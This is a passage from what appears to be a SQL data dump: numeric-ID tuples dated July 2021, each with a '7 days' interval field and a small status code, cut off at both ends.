days',1),(52522,17408,9251,10201,1410,975,'2021-07-09','7 days',1),(52523,17390,9251,10201,1410,975,'2021-07-09','7 days',0),(52524,17389,9251,10201,1410,975,'2021-07-09','7 days',0),(52525,17388,9251,10201,1410,975,'2021-07-09','7 days',0),(52526,17386,9251,10201,1410,975,'2021-07-09','7 days',0),(52527,17385,9251,10201,1410,975,'2021-07-09','7 days',0),(52528,17383,9251,10201,1410,975,'2021-07-09','7 days',1),(52529,17382,9251,10201,1410,975,'2021-07-09','7 days',0),(52530,15663,9251,10201,1410,975,'2021-07-09','7 days',1),(52531,17391,9034,6950,1410,975,'2021-07-09','7 days',2),(52532,17390,9034,6950,1410,975,'2021-07-09','7 days',0),(52533,17389,9034,6950,1410,975,'2021-07-09','7 days',0),(52534,17388,9034,6950,1410,975,'2021-07-09','7 days',0),(52535,17387,9034,6950,1410,975,'2021-07-09','7 days',0),(52536,17386,9034,6950,1410,975,'2021-07-09','7 days',0),(52537,17385,9034,6950,1410,975,'2021-07-09','7 days',0),(52538,17384,9034,6950,1410,975,'2021-07-09','7 days',0),(52539,12022,9276,9871,1668,277,'2021-07-09','7 days',1),(52540,9899,9276,9871,1668,277,'2021-07-09','7 days',0),(52541,9898,9276,9871,1668,277,'2021-07-09','7 days',0),(52542,9897,9276,9871,1668,277,'2021-07-09','7 days',1),(52543,17681,9277,9202,1668,277,'2021-07-09','7 days',0),(52544,15859,9277,9202,1668,277,'2021-07-09','7 days',0),(52545,15858,9277,9202,1668,277,'2021-07-09','7 days',0),(52546,15857,9277,9202,1668,277,'2021-07-09','7 days',0),(52547,15856,9277,9202,1668,277,'2021-07-09','7 days',0),(52598,12875,9286,10234,1069,326,'2021-07-09','7 days',1),(52599,9802,9286,10234,1069,326,'2021-07-09','7 days',0),(52600,9801,9286,10234,1069,326,'2021-07-09','7 days',0),(52601,9800,9286,10234,1069,326,'2021-07-09','7 days',0),(52602,9798,9286,10234,1069,326,'2021-07-09','7 days',0),(52682,18594,9267,10216,194,45,'2021-07-09','7 days',1),(52683,11845,9267,10216,194,45,'2021-07-09','7 days',1),(52684,11578,9267,10216,194,45,'2021-07-09','7 days',1),(52685,11520,9267,10216,194,45,'2021-07-09','7 days',1),(52686,11519,9267,10216,194,45,'2021-07-09','7 days',1),(52687,2238,9267,10216,194,45,'2021-07-09','7 days',0),(52743,18695,9303,10242,1394,86,'2021-07-12','7 days',0),(52745,18562,9303,10242,1394,86,'2021-07-12','7 days',0),(52746,18561,9303,10242,1394,86,'2021-07-12','7 days',0),(52747,18560,9303,10242,1394,86,'2021-07-12','7 days',0),(52748,17502,9303,10242,1394,86,'2021-07-12','7 days',2),(52749,17501,9303,10242,1394,86,'2021-07-12','7 days',0),(52750,17500,9303,10242,1394,86,'2021-07-12','7 days',0),(52751,17078,9303,10242,1394,86,'2021-07-12','7 days',0),(52752,17077,9303,10242,1394,86,'2021-07-12','7 days',0),(52753,17076,9303,10242,1394,86,'2021-07-12','7 days',0),(52754,16783,9303,10242,1394,86,'2021-07-12','7 days',0),(52755,16782,9303,10242,1394,86,'2021-07-12','7 days',0),(52756,9006,9303,10242,1394,86,'2021-07-12','7 days',0),(52757,9005,9303,10242,1394,86,'2021-07-12','7 days',0),(52758,9004,9303,10242,1394,86,'2021-07-12','7 days',0),(52759,9003,9303,10242,1394,86,'2021-07-12','7 days',0),(52760,9002,9303,10242,1394,86,'2021-07-12','7 days',1),(52894,14684,9331,10264,194,45,'2021-07-13','7 days',1),(52895,13913,9331,10264,194,45,'2021-07-13','7 days',0),(52896,11689,9331,10264,194,45,'2021-07-13','7 days',1),(52897,11162,9331,10264,194,45,'2021-07-13','7 days',1),(52898,9206,9331,10264,194,45,'2021-07-13','7 days',1),(52899,11688,9331,10264,194,45,'2021-07-13','7 days',2),(52900,13913,9375,10286,194,45,'2021-07-13','7 days',0),(52901,12562,9375,10286,194,45,'2021-07-13','7 days',1),(52902,11689,9375,10286,194,45,'2021-07-13','7 days',1),(52903,11163,9375,10286,194,45,'2021-07-13','7 days',0),(52979,18820,9303,10242,1394,86,'2021-07-14','7 days',2),(52980,18819,9303,10242,1394,86,'2021-07-14','7 days',2),(52981,18818,9303,10242,1394,86,'2021-07-14','7 days',0),(52982,18817,9303,10242,1394,86,'2021-07-14','7 days',2),(52983,18816,9303,10242,1394,86,'2021-07-14','7 days',0),(52993,18827,9303,10242,1394,86,'2021-07-14','7 days',2),(52994,18826,9303,10242,1394,86,'2021-07-14','7 days',0),(52995,18825,9303,10242,1394,86,'2021-07-14','7 days',0),(52996,18824,9303,10242,1394,86,'2021-07-14','7 days',2),(52997,18823,9303,10242,1394,86,'2021-07-14','7 days',0),(52998,18822,9303,10242,1394,86,'2021-07-14','7 days',0),(52999,18821,9303,10242,1394,86,'2021-07-14','7 days',0),(53015,18841,9210,10164,1393,86,'2021-07-14','7 days',0),(53016,18840,9210,10164,1393,86,'2021-07-14','7 days',2),(53017,18839,9210,10164,1393,86,'2021-07-14','7 days',2),(53018,18837,9210,10164,1393,86,'2021-07-14','7 days',2),(53019,18836,9210,10164,1393,86,'2021-07-14','7 days',0),(53062,16861,8911,9932,1674,251,'2021-07-14','7 days',1),(53063,16780,8911,9932,1674,251,'2021-07-14','7 days',0),(53064,16779,8911,9932,1674,251,'2021-07-14','7 days',2),(53065,16777,8911,9932,1674,251,'2021-07-14','7 days',0),(53066,16775,8911,9932,1674,251,'2021-07-14','7 days',0),(53067,16774,8911,9932,1674,251,'2021-07-14','7 days',0),(53068,16771,9081,10075,1674,251,'2021-07-14','7 days',0),(53069,16770,9081,10075,1674,251,'2021-07-14','7 days',0),(53070,16769,9081,10075,1674,251,'2021-07-14','7 days',2),(53071,16768,9081,10075,1674,251,'2021-07-14','7 days',2),(53072,16716,9081,10075,1674,251,'2021-07-14','7 days',0),(53073,16715,9081,10075,1674,251,'2021-07-14','7 days',0),(53074,16714,9081,10075,1674,251,'2021-07-14','7 days',0),(53075,16701,9081,10075,1674,251,'2021-07-14','7 days',1),(53082,18830,9251,10201,1410,975,'2021-07-14','7 days',1),(53083,18838,9251,10201,1410,975,'2021-07-14','7 days',1),(53095,18838,9034,6950,1410,975,'2021-07-14','7 days',1),(53096,18830,9034,6950,1410,975,'2021-07-14','7 days',1),(53111,11689,9112,8036,194,45,'2021-07-14','7 days',1),(53142,12022,9277,9202,1668,277,'2021-07-15','7 days',1),(53149,15860,9332,4635,1670,277,'2021-07-15','7 days',2),(53150,15855,9332,4635,1670,277,'2021-07-15','7 days',0),(53151,12027,9332,4635,1670,277,'2021-07-15','7 days',0),(53152,9898,9332,4635,1670,277,'2021-07-15','7 days',0),(53153,11689,9398,10307,194,45,'2021-07-15','7 days',1),(53154,11688,9398,10307,194,45,'2021-07-15','7 days',2),(53155,11687,9398,10307,194,45,'2021-07-15','7 days',1),(53156,11162,9398,10307,194,45,'2021-07-15','7 days',1),(53157,9206,9398,10307,194,45,'2021-07-15','7 days',1),(53158,12562,9394,10303,194,45,'2021-07-15','7 days',1),(53159,11689,9394,10303,194,45,'2021-07-15','7 days',1),(53160,18838,8864,9903,1410,975,'2021-07-16','7 days',1),(53161,18427,8864,9903,1410,975,'2021-07-16','7 days',1),(53162,18426,8864,9903,1410,975,'2021-07-16','7 days',0),(53163,18425,8864,9903,1410,975,'2021-07-16','7 days',1),(53164,18424,8864,9903,1410,975,'2021-07-16','7 days',0),(53165,18830,8864,9903,1410,975,'2021-07-16','7 days',1),(53166,17409,8864,9903,1410,975,'2021-07-16','7 days',1),(53167,17408,8864,9903,1410,975,'2021-07-16','7 days',1),(53168,17407,8864,9903,1410,975,'2021-07-16','7 days',1),(53169,17406,8864,9903,1410,975,'2021-07-16','7 days',1),(53184,18830,9409,10318,1410,975,'2021-07-16','7 days',1),(53185,17409,9409,10318,1410,975,'2021-07-16','7 days',1),(53186,17385,9409,10318,1410,975,'2021-07-16','7 days',0),(53187,18838,9409,10318,1410,975,'2021-07-16','7 days',1),(53188,18427,9409,10318,1410,975,'2021-07-16','7 days',1),(53189,15826,9381,10294,1675,86,'2021-07-16','7 days',1),(53190,13344,9381,10294,1675,86,'2021-07-16','7 days',0),(53191,13343,9381,10294,1675,86,'2021-07-16','7 days',0),(53192,13342,9381,10294,1675,86,'2021-07-16','7 days',0),(53193,13341,9381,10294,1675,86,'2021-07-16','7 days',0),(53194,13340,9381,10294,1675,86,'2021-07-16','7 days',0),(53195,13339,9381,10294,1675,86,'2021-07-16','7 days',0),(53196,13338,9381,10294,1675,86,'2021-07-16','7 days',0),(53223,18913,9381,10294,1675,86,'2021-07-16','7 days',1),(53306,18830,9411,10320,1410,975,'2021-07-16','7 days',1),(53307,17409,9411,10320,1410,975,'2021-07-16','7 days',1),(53308,17408,9411,10320,1410,975,'2021-07-16','7 days',1),(53309,18838,9410,10319,1410,975,'2021-07-16','7 days',1),(53310,18427,9410,10319,1410,975,'2021-07-16','7 days',1),(53311,18426,9410,10319,1410,975,'2021-07-16','7 days',0),(53312,18830,9408,10317,1410,975,'2021-07-16','7 days',1),(53313,17409,9408,10317,1410,975,'2021-07-16','7 days',1),(53314,17408,9408,10317,1410,975,'2021-07-16','7 days',1),(53315,17407,9408,10317,1410,975,'2021-07-16','7 days',1),(53329,11446,8914,9953,222,85,'2021-07-17','7 days',1),(53330,11445,8914,9953,222,85,'2021-07-17','7 days',1),(53331,11444,8914,9953,222,85,'2021-07-17','7 days',1),(53332,11443,8914,9953,222,85,'2021-07-17','7 days',0),(53333,11442,8914,9953,222,85,'2021-07-17','7 days',0),(53334,11435,8914,9953,222,85,'2021-07-17','7 days',0),(53335,11434,8914,9953,222,85,'2021-07-17','7 days',0),(53336,11433,8914,9953,222,85,'2021-07-17','7 days',0),(53337,11431,8914,9953,222,85,'2021-07-17','7 days',0),(53338,11264,8914,9953,222,85,'2021-07-17','7 days',1),(53339,11263,8914,9953,222,85,'2021-07-17','7 days',0),(53340,11260,8914,9953,222,85,'2021-07-17','7 days',2),(53375,17502,9210,10164,1393,86,'2021-07-19','7 days',2),(53376,15975,9210,10164,1393,86,'2021-07-19','7 days',2),(53377,15586,9210,10164,1393,86,'2021-07-19','7 days',1),(53378,14994,9210,10164,1393,86,'2021-07-19','7 days',1),(53419,11581,9303,10242,1394,86,'2021-07-19','7 days',2),(53420,11580,9303,10242,1394,86,'2021-07-19','7 days',0),(53421,10962,9303,10242,1394,86,'2021-07-19','7 days',1),(53422,10946,9303,10242,1394,86,'2021-07-19','7 days',0),(53423,10945,9303,10242,1394,86,'2021-07-19','7 days',2),(53424,10685,9303,10242,1394,86,'2021-07-19','7 days',1),(53425,10684,9303,10242,1394,86,'2021-07-19','7 days',0),(53426,9718,9303,10242,1394,86,'2021-07-19','7 days',0),(53427,9717,9303,10242,1394,86,'2021-07-19','7 days',0),(53428,9716,9303,10242,1394,86,'2021-07-19','7 days',0),(53429,9612,9303,10242,1394,86,'2021-07-19','7 days',0),(53430,9611,9303,10242,1394,86,'2021-07-19','7 days',0),(53431,9608,9303,10242,1394,86,'2021-07-19','7 days',0),(53432,9607,9303,10242,1394,86,'2021-07-19','7 days',0),(53433,9090,9303,10242,1394,86,'2021-07-19','7 days',0),(53434,9007,9303,10242,1394,86,'2021-07-19','7 days',0),(53566,12022,9340,9202,1665,277,'2021-07-20','7 days',1),(53583,13913,9543,10424,194,45,'2021-07-20','7 days',0),(53584,12562,9543,10424,194,45,'2021-07-20','7 days',1),(53585,11689,9543,10424,194,45,'2021-07-20','7 days',1),(53586,13913,9519,10409,194,45,'2021-07-20','7 days',0),(53587,12562,9519,10409,194,45,'2021-07-20','7 days',1),(53588,11689,9519,10409,194,45,'2021-07-20','7 days',1),(53589,9206,9519,10409,194,45,'2021-07-20','7 days',1),(53669,16277,9397,10306,1342,971,'2021-07-21','7 days',0),(53670,16276,9397,10306,1342,971,'2021-07-21','7 days',0),(53671,16139,9397,10306,1342,971,'2021-07-21','7 days',1),(53673,12739,9397,10306,1342,971,'2021-07-21','7 days',0),(53675,11698,9397,10306,1342,971,'2021-07-21','7 days',0),(53677,11456,9397,10306,1342,971,'2021-07-21','7 days',0),(53679,11126,9397,10306,1342,971,'2021-07-21','7 days',1),(53681,10978,9397,10306,1342,971,'2021-07-21','7 days',1),(53682,10967,9397,10306,1342,971,'2021-07-21','7 days',1),(53683,10966,9397,10306,1342,971,'2021-07-21','7 days',1),(53684,10965,9397,10306,1342,971,'2021-07-21','7 days',0),(53685,10964,9397,10306,1342,971,'2021-07-21','7 days',0),(53686,10963,9397,10306,1342,971,'2021-07-21','7 days',1),(53777,12532,9233,10189,194,45,'2021-07-21','7 days',1),(53778,11715,9233,10189,194,45,'2021-07-21','7 days',1),(53779,5467,9233,10189,194,45,'2021-07-21','7 days',1),(53780,15570,9517,10407,1251,86,'2021-07-21','7 days',0),(53781,15569,9517,10407,1251,86,'2021-07-21','7 days',0),(53782,10682,9517,10407,1251,86,'2021-07-21','7 days',0),(53783,10681,9517,10407,1251,86,'2021-07-21','7 days',0),(53784,10680,9517,10407,1251,86,'2021-07-21','7 days',0),(53785,10679,9517,10407,1251,86,'2021-07-21','7 days',0),(53786,10678,9517,10407,1251,86,'2021-07-21','7 days',0),(53787,10677,9517,10407,1251,86,'2021-07-21','7 days',0),(53788,10676,9517,10407,1251,86,'2021-07-21','7 days',0),(53792,18830,9537,10418,1410,975,'2021-07-21','7 days',1),(53793,17409,9537,10418,1410,975,'2021-07-21','7 days',1),(53794,17408,9537,10418,1410,975,'2021-07-21','7 days',1),(53795,17407,9537,10418,1410,975,'2021-07-21','7 days',1),(53796,17406,9537,10418,1410,975,'2021-07-21','7 days',1),(53797,17405,9537,10418,1410,975,'2021-07-21','7 days',1),(53798,18838,9537,10418,1410,975,'2021-07-21','7 days',1),(53799,18980,9517,10407,1251,86,'2021-07-21','7 days',0),(53800,18979,9517,10407,1251,86,'2021-07-21','7 days',2),(53801,18978,9517,10407,1251,86,'2021-07-21','7 days',2),(53802,18977,9517,10407,1251,86,'2021-07-21','7 days',0),(53803,18976,9517,10407,1251,86,'2021-07-21','7 days',0),(53804,18975,9517,10407,1251,86,'2021-07-21','7 days',0),(53805,18974,9517,10407,1251,86,'2021-07-21','7 days',0),(53806,18973,9517,10407,1251,86,'2021-07-21','7 days',0),(53807,18972,9517,10407,1251,86,'2021-07-21','7 days',0),(53808,18971,9517,10407,1251,86,'2021-07-21','7 days',0),(53809,18970,9517,10407,1251,86,'2021-07-21','7 days',0),(53813,19033,9538,10419,1370,667,'2021-07-21','7 days',0),(53814,19032,9538,10419,1370,667,'2021-07-21','7 days',0),(53815,19031,9538,10419,1370,667,'2021-07-21','7 days',0),(53816,19030,9538,10419,1370,667,'2021-07-21','7 days',0),(53817,19029,9538,10419,1370,667,'2021-07-21','7 days',0),(53818,19028,9538,10419,1370,667,'2021-07-21','7 days',0),(53819,19027,9538,10419,1370,667,'2021-07-21','7 days',0),(53820,19026,9538,10419,1370,667,'2021-07-21','7 days',0),(53821,19025,9538,10419,1370,667,'2021-07-21','7 days',0),(53822,19024,9538,10419,1370,667,'2021-07-21','7 days',0),(53823,19023,9538,10419,1370,667,'2021-07-21','7 days',0),(53824,19022,9538,10419,1370,667,'2021-07-21','7 days',0),(53825,19021,9538,10419,1370,667,'2021-07-21','7 days',0),(53826,19020,9538,10419,1370,667,'2021-07-21','7 days',0),(53827,19019,9538,10419,1370,667,'2021-07-21','7 days',2),(53839,17212,9555,10431,1367,959,'2021-07-21','7 days',1),(53840,17204,9555,10431,1367,959,'2021-07-21','7 days',1),(53841,15747,9555,10431,1367,959,'2021-07-21','7 days',0),(53842,17211,9555,10431,1367,959,'2021-07-21','7 days',1),(53843,14071,9555,10431,1367,959,'2021-07-21','7 days',1),(53844,11689,9160,9275,194,45,'2021-07-21','7 days',1),(53845,18593,9267,10216,194,45,'2021-07-21','7 days',1),(53846,18592,9267,10216,194,45,'2021-07-21','7 days',1),(53866,18592,9519,10409,194,45,'2021-07-22','7 days',1),(53867,19018,9538,10419,1370,667,'2021-07-22','7 days',0),(53868,19017,9538,10419,1370,667,'2021-07-22','7 days',0),(53869,19016,9538,10419,1370,667,'2021-07-22','7 days',0),(53870,19015,9538,10419,1370,667,'2021-07-22','7 days',0),(53871,19014,9538,10419,1370,667,'2021-07-22','7 days',0),(53872,19013,9538,10419,1370,667,'2021-07-22','7 days',0),(53873,19012,9538,10419,1370,667,'2021-07-22','7 days',0),(53874,19011,9538,10419,1370,667,'2021-07-22','7 days',0),(53875,19010,9538,10419,1370,667,'2021-07-22','7 days',0),(53876,19009,9538,10419,1370,667,'2021-07-22','7 days',0),(53877,19008,9538,10419,1370,667,'2021-07-22','7 days',0),(53878,19007,9538,10419,1370,667,'2021-07-22','7 days',2),(53879,19006,9538,10419,1370,667,'2021-07-22','7 days',0),(53880,19005,9538,10419,1370,667,'2021-07-22','7 days',0),(53881,19004,9538,10419,1370,667,'2021-07-22','7 days',2),(53945,12022,9472,4635,1665,277,'2021-07-22','7 days',2),(53946,11659,9472,4635,1665,277,'2021-07-22','7 days',0),(53947,11450,9472,4635,1665,277,'2021-07-22','7 days',2),(53948,11449,9472,4635,1665,277,'2021-07-22','7 days',0),(53949,11448,9472,4635,1665,277,'2021-07-22','7 days',0),(54023,19003,9538,10419,1370,667,'2021-07-22','7 days',0),(54024,19002,9538,10419,1370,667,'2021-07-22','7 days',0),(54025,19001,9538,10419,1370,667,'2021-07-22','7 days',0),(54026,19000,9538,10419,1370,667,'2021-07-22','7 days',0),(54027,18999,9538,10419,1370,667,'2021-07-22','7 days',0),(54028,18998,9538,10419,1370,667,'2021-07-22','7 days',0),(54029,18997,9538,10419,1370,667,'2021-07-22','7 days',0),(54030,18996,9538,10419,1370,667,'2021-07-22','7 days',2),(54031,18995,9538,10419,1370,667,'2021-07-22','7 days',0),(54032,18994,9538,10419,1370,667,'2021-07-22','7 days',0),(54033,18993,9538,10419,1370,667,'2021-07-22','7 days',0),(54034,18992,9538,10419,1370,667,'2021-07-22','7 days',0),(54035,18991,9538,10419,1370,667,'2021-07-22','7 days',0),(54036,18990,9538,10419,1370,667,'2021-07-22','7 days',0),(54037,18989,9538,10419,1370,667,'2021-07-22','7 days',2),(54094,8784,9521,10406,160,73,'2021-07-22','7 days',1),(54095,8783,9521,10406,160,73,'2021-07-22','7 days',0),(54096,656,9521,10406,160,73,'2021-07-22','7 days',1),(54097,653,9521,10406,160,73,'2021-07-22','7 days',0),(54098,671,9521,10406,160,73,'2021-07-22','7 days',0),(54119,18988,9538,10419,1370,667,'2021-07-23','7 days',2),(54120,18987,9538,10419,1370,667,'2021-07-23','7 days',0),(54121,18986,9538,10419,1370,667,'2021-07-23','7 days',0),(54122,18985,9538,10419,1370,667,'2021-07-23','7 days',0),(54123,18984,9538,10419,1370,667,'2021-07-23','7 days',2),(54124,18983,9538,10419,1370,667,'2021-07-23','7 days',2),(54125,18982,9538,10419,1370,667,'2021-07-23','7 days',0),(54132,18830,9580,10455,1410,975,'2021-07-23','7 days',1),(54133,17409,9580,10455,1410,975,'2021-07-23','7 days',1),(54134,17408,9580,10455,1410,975,'2021-07-23','7 days',1),(54211,19255,9210,10164,1393,86,'2021-07-23','7 days',2),(54212,15533,9210,10164,1393,86,'2021-07-23','7 days',2),(54213,15532,9210,10164,1393,86,'2021-07-23','7 days',0),(54214,5728,9210,10164,1393,86,'2021-07-23','7 days',0),(54215,3701,9210,10164,1393,86,'2021-07-23','7 days',0),(54216,1128,9210,10164,1393,86,'2021-07-23','7 days',0),(54217,940,9210,10164,1393,86,'2021-07-23','7 days',0),(54218,19260,9210,10164,1393,86,'2021-07-23','7 days',2),(54219,19259,9210,10164,1393,86,'2021-07-23','7 days',2),(54220,19258,9210,10164,1393,86,'2021-07-23','7 days',0),(54221,19257,9210,10164,1393,86,'2021-07-23','7 days',0),(54222,19256,9210,10164,1393,86,'2021-07-23','7 days',0),(54223,15528,9210,10164,1393,86,'2021-07-23','7 days',0),(54224,14617,9210,10164,1393,86,'2021-07-23','7 days',0),(54225,12530,9210,10164,1393,86,'2021-07-23','7 days',0),(54226,12529,9210,10164,1393,86,'2021-07-23','7 days',0),(54227,10943,9210,10164,1393,86,'2021-07-23','7 days',0),(54242,5743,9210,10164,1393,86,'2021-07-23','7 days',1),(54243,11689,9233,10189,194,45,'2021-07-23','7 days',1),(54244,14685,9611,498,194,45,'2021-07-23','7 days',1),(54245,14684,9611,498,194,45,'2021-07-23','7 days',1),(54246,9206,9611,498,194,45,'2021-07-23','7 days',1),(54289,15676,9627,8948,194,45,'2021-07-23','7 days',1),(54290,15675,9627,8948,194,45,'2021-07-23','7 days',1),(54291,10529,9627,8948,194,45,'2021-07-23','7 days',2),(54292,999,9627,8948,194,45,'2021-07-23','7 days',0),(54309,19274,9517,10407,1251,86,'2021-07-23','7 days',0),(54310,9715,9517,10407,1251,86,'2021-07-23','7 days',0),(54311,9714,9517,10407,1251,86,'2021-07-23','7 days',0),(54312,9713,9517,10407,1251,86,'2021-07-23','7 days',2),(54313,9712,9517,10407,1251,86,'2021-07-23','7 days',0),(54314,9711,9517,10407,1251,86,'2021-07-23','7 days',0),(54315,9710,9517,10407,1251,86,'2021-07-23','7 days',0),(54316,9709,9517,10407,1251,86,'2021-07-23','7 days',0),(54317,9708,9517,10407,1251,86,'2021-07-23','7 days',0),(54318,9670,9517,10407,1251,86,'2021-07-23','7 days',0),(54319,9669,9517,10407,1251,86,'2021-07-23','7 days',0),(54320,9668,9517,10407,1251,86,'2021-07-23','7 days',0),(54321,9667,9517,10407,1251,86,'2021-07-23','7 days',0),(54322,9666,9517,10407,1251,86,'2021-07-23','7 days',2),(54424,16023,9650,10503,222,85,'2021-07-26','7 days',1),(54425,16022,9650,10503,222,85,'2021-07-26','7 days',2),(54426,16021,9650,10503,222,85,'2021-07-26','7 days',0),(54427,16018,9650,10503,222,85,'2021-07-26','7 days',0),(54428,16017,9650,10503,222,85,'2021-07-26','7 days',0),(54429,16016,9650,10503,222,85,'2021-07-26','7 days',0),(54430,16015,9650,10503,222,85,'2021-07-26','7 days',0),(54431,16005,9650,10503,222,85,'2021-07-26','7 days',0),(54432,14900,9650,10503,222,85,'2021-07-26','7 days',0),(54433,14893,9650,10503,222,85,'2021-07-26','7 days',2),(54434,14892,9650,10503,222,85,'2021-07-26','7 days',2),(54462,18969,9517,10407,1251,86,'2021-07-26','7 days',0),(54463,18827,9517,10407,1251,86,'2021-07-26','7 days',0),(54464,18826,9517,10407,1251,86,'2021-07-26','7 days',0),(54465,18825,9517,10407,1251,86,'2021-07-26','7 days',0),(54466,18824,9517,10407,1251,86,'2021-07-26','7 days',2),(54467,18823,9517,10407,1251,86,'2021-07-26','7 days',2),(54468,18822,9517,10407,1251,86,'2021-07-26','7 days',0),(54469,18821,9517,10407,1251,86,'2021-07-26','7 days',0),(54470,18820,9517,10407,1251,86,'2021-07-26','7 days',0),(54471,18819,9517,10407,1251,86,'2021-07-26','7 days',0),(54472,18818,9517,10407,1251,86,'2021-07-26','7 days',0),(54473,18817,9517,10407,1251,86,'2021-07-26','7 days',2),(54474,18816,9517,10407,1251,86,'2021-07-26','7 days',0),(54515,19372,9538,10419,1370,667,'2021-07-26','7 days',1),(54516,19371,9538,10419,1370,667,'2021-07-26','7 days',0),(54517,19370,9538,10419,1370,667,'2021-07-26','7 days',0),(54518,19369,9538,10419,1370,667,'2021-07-26','7 days',0),(54519,19368,9538,10419,1370,667,'2021-07-26','7 days',0),(54520,19367,9538,10419,1370,667,'2021-07-26','7 days',0),(54521,19366,9538,10419,1370,667,'2021-07-26','7 days',0),(54522,19365,9538,10419,1370,667,'2021-07-26','7 days',0),(54523,19364,9538,10419,1370,667,'2021-07-26','7 days',0),(54524,19363,9538,10419,1370,667,'2021-07-26','7 days',0),(54525,19362,9538,10419,1370,667,'2021-07-26','7 days',2),(54526,19361,9538,10419,1370,667,'2021-07-26','7 days',0),(54527,19360,9538,10419,1370,667,'2021-07-26','7 days',0),(54528,19358,9538,10419,1370,667,'2021-07-26','7 days',0),(54529,19357,9538,10419,1370,667,'2021-07-26','7 days',0),(54552,15586,9517,10407,1251,86,'2021-07-27','7 days',1),(54553,15493,9517,10407,1251,86,'2021-07-27','7 days',0),(54554,14994,9517,10407,1251,86,'2021-07-27','7 days',0),(54565,16023,9651,10124,222,85,'2021-07-27','7 days',1),(54566,16022,9651,10124,222,85,'2021-07-27','7 days',2),(54567,16021,9651,10124,222,85,'2021-07-27','7 days',0),(54568,16020,9651,10124,222,85,'2021-07-27','7 days',0),(54569,16016,9651,10124,222,85,'2021-07-27','7 days',0),(54570,16015,9651,10124,222,85,'2021-07-27','7 days',0),(54571,16011,9651,10124,222,85,'2021-07-27','7 days',0),(54572,16010,9651,10124,222,85,'2021-07-27','7 days',0),(54573,16009,9651,10124,222,85,'2021-07-27','7 days',0),(54574,16008,9651,10124,222,85,'2021-07-27','7 days',0),(54575,14897,9651,10124,222,85,'2021-07-27','7 days',0),(54576,14896,9651,10124,222,85,'2021-07-27','7 days',0),(54577,14891,9651,10124,222,85,'2021-07-27','7 days',0),(54578,18838,9665,10513,1410,975,'2021-07-27','7 days',1),(54579,18427,9665,10513,1410,975,'2021-07-27','7 days',1),(54580,18426,9665,10513,1410,975,'2021-07-27','7 days',0),(54581,18830,9664,10512,1410,975,'2021-07-27','7 days',1),(54582,17409,9664,10512,1410,975,'2021-07-27','7 days',1),(54583,17408,9664,10512,1410,975,'2021-07-27','7 days',1),(54584,18830,9663,10511,1410,975,'2021-07-27','7 days',1),(54585,17409,9663,10511,1410,975,'2021-07-27','7 days',1),(54586,15663,9663,10511,1410,975,'2021-07-27','7 days',1),(54636,18830,9665,10513,1410,975,'2021-07-27','7 days',1),(54637,18838,9664,10512,1410,975,'2021-07-27','7 days',1),(54671,15177,8521,9647,1456,667,'2021-07-28','7 days',0),(54672,17949,8396,9537,1370,667,'2021-07-28','7 days',0),(54736,18593,9398,10307,194,45,'2021-07-28','7 days',1),(54737,11520,9398,10307,194,45,'2021-07-28','7 days',1),(54741,18594,9394,10303,194,45,'2021-07-28','7 days',1),(54742,18593,9394,10303,194,45,'2021-07-28','7 days',1),(54743,18592,9394,10303,194,45,'2021-07-28','7 days',1),(54744,11520,9394,10303,194,45,'2021-07-28','7 days',1),(54745,11519,9394,10303,194,45,'2021-07-28','7 days',1),(54773,12026,9641,10495,1659,277,'2021-07-28','7 days',0),(54774,12025,9641,10495,1659,277,'2021-07-28','7 days',0),(54775,12024,9641,10495,1659,277,'2021-07-28','7 days',1),(54776,12023,9641,10495,1659,277,'2021-07-28','7 days',0),(54777,12022,9641,10495,1659,277,'2021-07-28','7 days',1),(54778,17682,9640,10495,1663,277,'2021-07-28','7 days',1),(54779,17681,9640,10495,1663,277,'2021-07-28','7 days',2),(54780,15861,9640,10495,1663,277,'2021-07-28','7 days',1),(54781,15860,9640,10495,1663,277,'2021-07-28','7 days',0),(54782,15859,9640,10495,1663,277,'2021-07-28','7 days',0),(54783,9900,9639,10494,1667,277,'2021-07-28','7 days',2),(54784,9899,9639,10494,1667,277,'2021-07-28','7 days',0),(54785,9898,9639,10494,1667,277,'2021-07-28','7 days',0),(54786,9897,9639,10494,1667,277,'2021-07-28','7 days',1),(54787,8590,9639,10494,1667,277,'2021-07-28','7 days',1),(54788,13913,9753,10578,194,45,'2021-07-28','7 days',0),(54789,11689,9753,10578,194,45,'2021-07-28','7 days',1),(54790,18594,9753,10578,194,45,'2021-07-28','7 days',1),(54791,18593,9753,10578,194,45,'2021-07-28','7 days',1),(54792,18592,9753,10578,194,45,'2021-07-28','7 days',1),(54793,11520,9753,10578,194,45,'2021-07-28','7 days',1),(54794,11519,9753,10578,194,45,'2021-07-28','7 days',1),(54795,18592,9398,10307,194,45,'2021-07-28','7 days',1),(54923,16023,9775,9953,222,85,'2021-07-29','7 days',1),(54924,16022,9775,9953,222,85,'2021-07-29','7 days',2),(54925,16021,9775,9953,222,85,'2021-07-29','7 days',0),(54926,16020,9775,9953,222,85,'2021-07-29','7 days',0),(54927,16019,9775,9953,222,85,'2021-07-29','7 days',2),(54928,16018,9775,9953,222,85,'2021-07-29','7 days',0),(54929,16017,9775,9953,222,85,'2021-07-29','7 days',0),(54930,16016,9775,9953,222,85,'2021-07-29','7 days',1),(54931,14900,9775,9953,222,85,'2021-07-29','7 days',0),(54932,14892,9775,9953,222,85,'2021-07-29','7 days',2),(55021,11689,8073,9247,194,45,'2021-07-30','7 days',1),(55037,11689,8076,9247,194,45,'2021-07-30','7 days',1),(55052,12024,9472,4635,1665,277,'2021-07-30','7 days',0),(55053,12023,9472,4635,1665,277,'2021-07-30','7 days',0),(55054,12021,9472,4635,1665,277,'2021-07-30','7 days',0),(55055,11447,9472,4635,1665,277,'2021-07-30','7 days',0),(55056,9909,9472,4635,1665,277,'2021-07-30','7 days',1),(55084,19523,9801,10620,161,73,'2021-07-31','7 days',0),(55085,19522,9801,10620,161,73,'2021-07-31','7 days',1),(55086,19521,9801,10620,161,73,'2021-07-31','7 days',0),(55087,19520,9801,10620,161,73,'2021-07-31','7 days',0),(55088,19518,9801,10620,161,73,'2021-07-31','7 days',0),(55168,16209,9811,10627,1343,86,'2021-07-31','7 days',0),(55169,15976,9811,10627,1343,86,'2021-07-31','7 days',2),(55170,14782,9811,10627,1343,86,'2021-07-31','7 days',2),(55171,14781,9811,10627,1343,86,'2021-07-31','7 days',0),(55172,14780,9811,10627,1343,86,'2021-07-31','7 days',0),(55173,14779,9811,10627,1343,86,'2021-07-31','7 days',0),(55174,13094,9811,10627,1343,86,'2021-07-31','7 days',0),(55175,13086,9811,10627,1343,86,'2021-07-31','7 days',0),(55176,12817,9811,10627,1343,86,'2021-07-31','7 